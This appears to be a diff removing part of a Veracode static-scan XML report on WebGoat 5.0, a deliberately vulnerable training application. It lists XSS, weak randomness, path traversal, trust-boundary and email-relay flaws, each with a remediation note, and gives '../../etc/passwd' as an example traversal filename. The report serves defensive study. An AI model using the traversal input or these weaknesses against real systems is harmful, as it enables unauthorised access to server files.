-        sourcefile=\"ViewProfile_jsp.java\" line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"264\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
-        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
-        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
-        and java.sql.preparedstatement.executequery. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"ViewProfile_jsp.java\" line=\"79\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"46\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"68\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
-        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
-        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
-        and java.sql.preparedstatement.executequery. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"ViewProfile_jsp.java\" line=\"80\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"50\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"129\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable thisPage.
-        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameternames,
-        and javax.servlet.servletrequest.getparameter. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"ViewProfile_jsp.java\" line=\"143\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"89\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n</cwe>\n</category>\n<category
-        categoryid=\"12\" categoryname=\"Cryptographic Issues\" pcirelated=\"false\">\n<desc>\n<para
-        text=\"Applications commonly use cryptography to implement authentication
-        mechanisms and to ensure the confidentiality and integrity of sensitive data,
-        both in transit and at rest.  The proper and accurate implementation of cryptography
-        is extremely critical to its efficacy.  Configuration or coding mistakes as
-        well as incorrect assumptions may negate a large degree of the protection
-        it affords, leaving the crypto implementation vulnerable to attack.\"/>\n<para
-        text=\"Common cryptographic mistakes include, but are not limited to, selecting
-        weak keys or weak cipher modes, unintentionally exposing sensitive cryptographic
-        data, using predictable entropy sources, and mismanaging or hard-coding keys.
-        \ \"/>\n<para text=\"Developers often make the dangerous assumption that they
-        can improve security by designing their own cryptographic algorithm; however,
-        one of the basic tenets of cryptography is that any cipher whose effectiveness
-        is reliant on the secrecy of the algorithm is fundamentally flawed.  \"/>\n</desc>\n<recommendations>\n<para
-        text=\"Select the appropriate type of cryptography for the intended purpose.
-        \ Avoid proprietary encryption algorithms as they typically rely on &quot;security
-        through obscurity&quot; rather than sound mathematics.  Select key sizes appropriate
-        for the data being protected; for high assurance applications, 256-bit symmetric
-        keys and 2048-bit asymmetric keys are sufficient.  Follow best practices for
-        key storage, and ensure that plaintext data and key material are not inadvertently
-        exposed.\"/>\n</recommendations>\n<cwe cweid=\"331\" cwename=\"Insufficient
-        Entropy\" pcirelated=\"false\">\n<description>\n<text text=\"Standard random
-        number generators do not provide a sufficient amount of entropy when used
-        for security purposes. Attackers can brute force the output of pseudorandom
-        number generators such as rand().\"/>\n</description>\n<staticflaws>\n<flaw
-        severity=\"3\" categoryname=\"Insufficient Entropy\" count=\"1\" issueid=\"173\"
-        module=\"WebGoat-5.0-with-jsp.war\" type=\"java.lang.Math.random\" description=\"Standard
-        random number generators do not provide a sufficient amount of entropy when
-        used for security purposes. Attackers can brute force the output of pseudorandom
-        number generators such as rand().\r\n\r\nIf this random number is used where
-        security is a concern, such as generating a session key or session identifier,
-        use a trusted cryptographic random number generator instead. These can be
-        found on the Windows platform in the CryptoAPI or in an open source library
-        such as OpenSSL. In Java, use the SecureRandom object to ensure sufficient
-        entropy.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/331.html)\r\n\r\n\"
-        note=\"\" cweid=\"331\" remediationeffort=\"2\" exploitLevel=\"-1\" categoryid=\"12\"
-        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"WeakSessionID.java\" line=\"77\" sourcefilepath=\"org/owasp/webgoat/lessons/\"
-        scope=\"org.owasp.webgoat.lessons.WeakSessionID\" functionprototype=\"void
-        &lt;clinit&gt;(void)\" functionrelativelocation=\"75\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
-        categoryid=\"1\" categoryname=\"Directory Traversal\" pcirelated=\"false\">\n<desc>\n<para
-        text=\"Allowing user input to control paths used in filesystem operations
-        may enable an attacker to access or modify otherwise protected system resources
-        that would normally be inaccessible to end users.  In some cases, the user-provided
-        input may be passed directly to the filesystem operation, or it may be concatenated
-        to one or more fixed strings to construct a fully-qualified path.\"/>\n<para
-        text=\"When an application improperly cleanses special character sequences
-        in user-supplied filenames, a path traversal (or directory traversal) vulnerability
-        may occur.  For example, an attacker could specify a filename such as &quot;../../etc/passwd&quot;,
-        which resolves to a file outside of the intended directory that the attacker
-        would not normally be authorized to view.\"/>\n</desc>\n<recommendations>\n<para
-        text=\"Assume all user-supplied input is malicious.  Validate all user-supplied
-        input to ensure that it conforms to the expected format, using centralized
-        data validation routines when possible.  When using black lists, be sure that
-        the sanitizing routine performs a sufficient number of iterations to remove
-        all instances of disallowed characters and ensure that the end result is not
-        dangerous.\"/>\n</recommendations>\n<cwe cweid=\"73\" cwename=\"External Control
-        of File Name or Path\" pcirelated=\"false\">\n<description>\n<text text=\"This
-        call contains a path manipulation flaw.  The argument to the function is a
-        filename constructed using user-supplied input.  If an attacker is allowed
-        to specify all or part of the filename, it may be possible to gain unauthorized
-        access to files on the server, including those outside the webroot, that would
-        be normally be inaccessible to end users.  The level of exposure depends on
-        the effectiveness of input validation routines, if any.\"/>\n</description>\n<staticflaws>\n<flaw
-        severity=\"3\" categoryname=\"External Control of File Name or Path\" count=\"1\"
-        issueid=\"238\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.io.File.!operator_javanewinit\"
-        description=\"This call to java.io.File.!operator_javanewinit() contains a
-        path manipulation flaw. The argument to the function is a filename constructed
-        using user-supplied input. If an attacker is allowed to specify all or part
-        of the filename, it may be possible to gain unauthorized access to files on
-        the server, including those outside the webroot, that would be normally be
-        inaccessible to end users. The level of exposure depends on the effectiveness
-        of input validation routines, if any. The second argument to !operator_javanewinit()
-        contains tainted data from the variable helpFile. The tainted data originated
-        from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nValidate
-        all user-supplied input to ensure that it conforms to the expected format,
-        using centralized data validation routines when possible. When using black
-        lists, be sure that the sanitizing routine performs a sufficient number of
-        iterations to remove all instances of disallowed characters.\r\n\r\nReferences:
-        \r\nCWE (http://cwe.mitre.org/data/definitions/73.html) \r\nWASC (http://webappsec.pbworks.com/Path-Traversal)\r\n\r\n\"
-        note=\"\" cweid=\"73\" remediationeffort=\"2\" exploitLevel=\"2\" categoryid=\"1\"
-        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"CommandInjection.java\" line=\"171\" sourcefilepath=\"org/owasp/webgoat/lessons/\"
-        scope=\"org.owasp.webgoat.lessons.CommandInjection\" functionprototype=\"apache.ecs.Element
-        createContent(session.WebSession)\" functionrelativelocation=\"69\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"External Control of File Name or Path\" count=\"1\"
-        issueid=\"252\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.io.File.!operator_javanewinit\"
-        description=\"This call to java.io.File.!operator_javanewinit() contains a
-        path manipulation flaw. The argument to the function is a filename constructed
-        using user-supplied input. If an attacker is allowed to specify all or part
-        of the filename, it may be possible to gain unauthorized access to files on
-        the server, including those outside the webroot, that would be normally be
-        inaccessible to end users. The level of exposure depends on the effectiveness
-        of input validation routines, if any. The second argument to !operator_javanewinit()
-        contains tainted data from the variable helpFile. The tainted data originated
-        from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nValidate
-        all user-supplied input to ensure that it conforms to the expected format,
-        using centralized data validation routines when possible. When using black
-        lists, be sure that the sanitizing routine performs a sufficient number of
-        iterations to remove all instances of disallowed characters.\r\n\r\nReferences:
-        \r\nCWE (http://cwe.mitre.org/data/definitions/73.html) \r\nWASC (http://webappsec.pbworks.com/Path-Traversal)\r\n\r\n\"
-        note=\"\" cweid=\"73\" remediationeffort=\"2\" exploitLevel=\"2\" categoryid=\"1\"
-        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"CommandInjection.java\" line=\"180\" sourcefilepath=\"org/owasp/webgoat/lessons/\"
-        scope=\"org.owasp.webgoat.lessons.CommandInjection\" functionprototype=\"apache.ecs.Element
-        createContent(session.WebSession)\" functionrelativelocation=\"80\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"External Control of File Name or Path\" count=\"1\"
-        issueid=\"9\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.io.FileInputStream.!operator_javanewinit\"
-        description=\"This call to java.io.FileInputStream.!operator_javanewinit()
-        contains a path manipulation flaw. The argument to the function is a filename
-        constructed using user-supplied input. If an attacker is allowed to specify
-        all or part of the filename, it may be possible to gain unauthorized access
-        to files on the server, including those outside the webroot, that would be
-        normally be inaccessible to end users. The level of exposure depends on the
-        effectiveness of input validation routines, if any. The first argument to
-        !operator_javanewinit() contains tainted data from the variable fileName.
-        The tainted data originated from earlier calls to javax.servlet.http.HttpServletRequest.getHeader,
-        javax.servlet.ServletRequest.getParameterValues, javax.servlet.http.HttpServletRequest.getCookies,
-        and javax.servlet.ServletRequest.getParameterNames.\r\n\r\nValidate all user-supplied
-        input to ensure that it conforms to the expected format, using centralized
-        data validation routines when possible. When using black lists, be sure that
-        the sanitizing routine performs a sufficient number of iterations to remove
-        all instances of disallowed characters.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/73.html)
-        \r\nWASC (http://webappsec.pbworks.com/Path-Traversal)\r\n\r\n\" note=\"\"
-        cweid=\"73\" remediationeffort=\"2\" exploitLevel=\"2\" categoryid=\"1\" pcirelated=\"false\"
-        date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"LessonTracker.java\" line=\"238\" sourcefilepath=\"org/owasp/webgoat/session/\"
-        scope=\"org.owasp.webgoat.session.LessonTracker\" functionprototype=\"LessonTracker
-        load(WebSession, java.lang.String, Screen)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"External Control of File Name or Path\" count=\"1\"
-        issueid=\"39\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.io.File.!operator_javanewinit\"
-        description=\"This call to java.io.File.!operator_javanewinit() contains a
-        path manipulation flaw. The argument to the function is a filename constructed
-        using user-supplied input. If an attacker is allowed to specify all or part
-        of the filename, it may be possible to gain unauthorized access to files on
-        the server, including those outside the webroot, that would be normally be
-        inaccessible to end users. The level of exposure depends on the effectiveness
-        of input validation routines, if any. The first argument to !operator_javanewinit()
-        contains tainted data from the variable file. The tainted data originated
-        from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nValidate
-        all user-supplied input to ensure that it conforms to the expected format,
-        using centralized data validation routines when possible. When using black
-        lists, be sure that the sanitizing routine performs a sufficient number of
-        iterations to remove all instances of disallowed characters.\r\n\r\nReferences:
-        \r\nCWE (http://cwe.mitre.org/data/definitions/73.html) \r\nWASC (http://webappsec.pbworks.com/Path-Traversal)\r\n\r\n\"
-        note=\"\" cweid=\"73\" remediationeffort=\"2\" exploitLevel=\"2\" categoryid=\"1\"
-        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"PathBasedAccessControl.java\" line=\"136\" sourcefilepath=\"org/owasp/webgoat/lessons/\"
-        scope=\"org.owasp.webgoat.lessons.PathBasedAccessControl\" functionprototype=\"apache.ecs.Element
-        createContent(session.WebSession)\" functionrelativelocation=\"39\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n</cwe>\n</category>\n<category
-        categoryid=\"22\" categoryname=\"Encapsulation\" pcirelated=\"false\">\n<desc>\n<para
-        text=\"Encapsulation is about defining strong security boundaries governing
-        data and processes. Within an application, it might mean differentiation between
-        validated and unvalidated data, between public and private members, or between
-        one user's data and another's.  \"/>\n<para text=\"In object-oriented programming,
-        the term encapsulation is used to describe the grouping together of data and
-        functionality within an object and the ability to provide users with a well-defined
-        interface in a way which hides their internal workings.  Though there is some
-        overlap with the above definition, the two definitions should not be confused
-        as being interchangeable.\"/>\n</desc>\n<recommendations>\n<para text=\"The
-        wide variance of encapsulation issues makes it impractical to generalize how
-        these issues should be addressed, beyond stating that encapsulation boundaries
-        should be well-defined and adhered to.  Refer to individual categories for
-        specific recommendations. \"/>\n</recommendations>\n<cwe cweid=\"501\" cwename=\"Trust
-        Boundary Violation\" pcirelated=\"false\">\n<description>\n<text text=\"A
-        trust boundary violation occurs when a program blurs the line between what
-        is trusted and what is untrusted.  This application mixes trusted and untrusted
-        data in the same data structure.  By doing so, it becomes easier for programmers
-        to mistakenly trust unvalidated data.  Without well-established and maintained
-        trust boundaries, programmers will inevitably lose track of which pieces of
-        data have been validated and which have not. This confusion will eventually
-        allow some data to be used without first being validated.  A common manifestation
-        of this flaw is in J2EE application, when a Session object is used to store
-        untrusted data from the HTTP request.\"/>\n</description>\n<staticflaws>\n<flaw
-        severity=\"3\" categoryname=\"Trust Boundary Violation\" count=\"1\" issueid=\"246\"
-        module=\"WebGoat-5.0-with-jsp.war\" type=\"javax.servlet.http.HttpSession.setAttribute\"
-        description=\"This call to javax.servlet.http.HttpSession.setAttribute() mixes
-        trusted and untrusted data in the same data structure, thereby encouraging
-        programmers to mistakenly trust unvalidated data. The second argument to setAttribute()
-        contains tainted data from the variable value. The tainted data originated
-        from an earlier call to javax.servlet.ServletRequest.getParameterValues.\r\n\r\nAvoid
-        storing untrusted data alongside trusted data in the same data structure.
-        Establish and maintain trust boundaries for data storage.\r\n\r\nReferences:
-        \r\nCWE (http://cwe.mitre.org/data/definitions/501.html)\r\n\r\n\" note=\"\"
-        cweid=\"501\" remediationeffort=\"2\" exploitLevel=\"0\" categoryid=\"22\"
-        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"DefaultLessonAction.java\" line=\"89\" sourcefilepath=\"org/owasp/webgoat/lessons/\"
-        scope=\"org.owasp.webgoat.lessons.DefaultLessonAction\" functionprototype=\"void
-        setSessionAttribute(session.WebSession, java.lang.String, java.lang.Object)\"
-        functionrelativelocation=\"64\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
-        categoryid=\"25\" categoryname=\"Insufficient Input Validation\" pcirelated=\"false\">\n<desc>\n<para
-        text=\"Weaknesses in this category are related to an absent or incorrect protection
-        mechanism that fails to properly validate input that can affect the control
-        flow or data flow of a program.\"/>\n</desc>\n<recommendations>\n<para text=\"Validate
-        input from untrusted sources before it is used. The untrusted data sources
-        may include HTTP requests, file systems, databases, and any external systems
-        that provide data to the application. In the case of HTTP requests, validate
-        all parts of the request, including headers, form fields, cookies, and URL
-        components that are used to transfer information from the browser to the server
-        side application.\"/>\n<para text=\"Duplicate any client-side checks on the
-        server side. This should be simple to implement in terms of time and difficulty,
-        and will greatly reduce the likelihood of insecure parameter values being
-        used in the application.\"/>\n</recommendations>\n<cwe cweid=\"472\" cwename=\"External
-        Control of Assumed-Immutable Web Parameter\" pcirelated=\"false\">\n<description>\n<text
-        text=\"The web application does not sufficiently verify inputs that are assumed
-        to be immutable but are actually externally controllable, such as hidden form
-        fields.\"/>\n</description>\n<manualflaws>\n<flaw severity=\"3\" categoryname=\"External
-        Control of Assumed-Immutable Web Parameter\" count=\"1\" issueid=\"274\" module=\"manual_analysis\"
-        type=\"\" description=\"The application send emails on behalf of the user.
-        The contents of the message and the delivery address are controllable by the
-        client. \" note=\"\" cweid=\"472\" remediationeffort=\"2\" exploitLevel=\"2\"
-        categoryid=\"25\" pcirelated=\"false\" date_first_occurrence=\"2012-02-29
-        16:13:33 UTC\" remediation_status=\"New\" cia_impact=\"ppn\" grace_period_expires=\"\"
-        affects_policy_compliance=\"false\" location=\"http://targethost/WebGoat/attack?Screen=1706623184&amp;menu=1700\"
-        cvss=\"5\" capecid=\"6\" exploitdifficulty=\"2\" inputvector=\"to, subject,
-        msg\">\n<exploit_desc>An attacker could utilize this email to send SPAM messages
-        resulting in the SMPT relay to become untrusted among email service providers.
-        A sophisticated attacker could utilize this to conduct spear phising attacks.
-        The phising email could include links to pages within the application that
-        are vulnerable to open redirect or cross-site scripting, making the attack
-        extremely difficult for a user to detect.</exploit_desc>\n<severity_desc>Due
-        to other vulnerabilities within the application that would allow for a sophisticated
-        spear phising attack, the issue becomes more severe. A security aware user
-        could easily be tricked by the spear phising links since they would start
-        with the correct domain name.</severity_desc>\n<remediation_desc>Only send
-        emails to predetermined delivery addresses that are associated with the application
-        or with the current user. Do not allow the client to set the subject or other
-        smtp headers. Escape all client input with the same mechanisms used to escape
-        tainted data before display within an HTML context.</remediation_desc>\n<appendix>\n<description>undefined</description>\n<screenshot
-        format=\"PNG\">\n<data>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